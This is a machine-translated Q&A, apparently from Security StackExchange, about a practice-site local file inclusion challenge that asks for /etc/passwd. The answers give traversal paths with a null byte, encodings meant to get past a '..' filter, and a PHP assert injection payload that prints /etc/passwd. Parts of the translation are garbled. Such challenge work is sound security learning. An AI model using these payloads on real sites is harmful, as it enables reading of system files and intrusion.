我目前正在做一些关于安全和面临挑战的实践在一个网站上提供。其中一位谈到了LFI,我想出了该怎么做,但我不知道该如何做,所以让我们向您展示一下这个问题:
这是要黑的网址:
http://example.com/challenge27/?page=contact我被要求在/etc/passwd中获得密码,所以第一个想法是尝试一些目录横过:
http://example.com/challenge27/?page=.这会引发异常:
Warning: assert(): Assertion "strpos('includes/..php', '..') === false" failed显而易见的是,strpos检测路径中'..'的每一次出现,断言检查此函数是否返回一个假值。
然后,我尝试在同一个url的末尾添加一个空字节。
http://example.com/challenge27/?page=.%00这给了我另一个提示:
Warning: file_exists() expects parameter 1 to be a valid path但是在这里我被阻止了,我的目标是像这样注入到/etc/passwd的路径:
http://example.com/challenge27/?page=../../../../etc/passwd我觉得我可以利用空字节解决方案,但是在尝试了许多不同的urls之后--我得到了file_exists()警告或者assert()警告--我现在已经没有任何想法了,有人会给出更多的提示吗?
发布于 2016-12-30 09:10:08
通常是路径,后面跟着空字节,以便在运行实际检索文件的代码。时终止字符串:
http://example.com/challenge27/?page=../../../../etc/passwd%00请注意,空字节字符不能在最新版本的PHP中工作。
另一个挑战是如何让..通过过滤器。
试试这些以查看它们是否可以绕过此检查:
. = %u002e)。. =%252 e)。.可以是%c0%2e,%e0%40%ae,%c0ae)发布于 2019-03-16 10:43:14
尝试将'作为输入传递。如果它抛出像Parse error: syntax error, unexpected ’’, ’’ (T_CONSTANT_ENCAPSED_STRING) in ...这样的异常,那么它就容易受到代码注入的影响。
在这种情况下,您可以打开以下任何文件:
' and die(show_source('/etc/passwd')) or '更多信息在这篇文章。
https://security.stackexchange.com/questions/146757
复制相似问题